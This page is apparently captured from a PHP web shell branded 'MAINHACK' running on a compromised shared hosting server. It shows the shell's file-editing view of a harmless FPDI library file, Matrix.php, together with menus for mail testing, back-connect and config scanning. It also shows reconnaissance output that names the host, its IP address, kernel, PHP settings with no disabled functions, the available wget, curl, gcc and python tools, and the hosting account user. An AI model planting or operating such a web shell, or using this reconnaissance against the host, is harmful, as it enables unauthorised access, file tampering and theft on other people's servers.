[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Matrix.php
<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2023 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\Math; /** * A simple 2D-Matrix class */ class Matrix { /** * @var float */ protected $a; /** * @var float */ protected $b; /** * @var float */ protected $c; /** * @var float */ protected $d; /** * @var float */ protected $e; /** * @var float */ protected $f; /** * @param int|float $a * @param int|float $b * @param int|float $c * @param int|float $d * @param int|float $e * @param int|float $f */ public function __construct($a = 1, $b = 0, $c = 0, $d = 1, $e = 0, $f = 0) { $this->a = (float)$a; $this->b = (float)$b; $this->c = (float)$c; $this->d = (float)$d; $this->e = (float)$e; $this->f = (float)$f; } /** * @return float[] */ public function getValues() { return [$this->a, $this->b, $this->c, $this->d, $this->e, $this->f]; } /** * @param Matrix $by * @return Matrix */ public function multiply(self $by) { $a = $this->a * $by->a + $this->b * $by->c //+ 0 * $by->e ; $b = $this->a * $by->b + $this->b * $by->d //+ 0 * $by->f ; $c = $this->c * $by->a + $this->d * $by->c //+ 0 * $by->e ; $d = $this->c * $by->b + $this->d * $by->d //+ 0 * $by->f ; $e = $this->e * $by->a + $this->f * $by->c + /*1 * */$by->e; $f = $this->e * $by->b + $this->f * $by->d + /*1 * */$by->f; return new self($a, $b, $c, $d, $e, $f); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285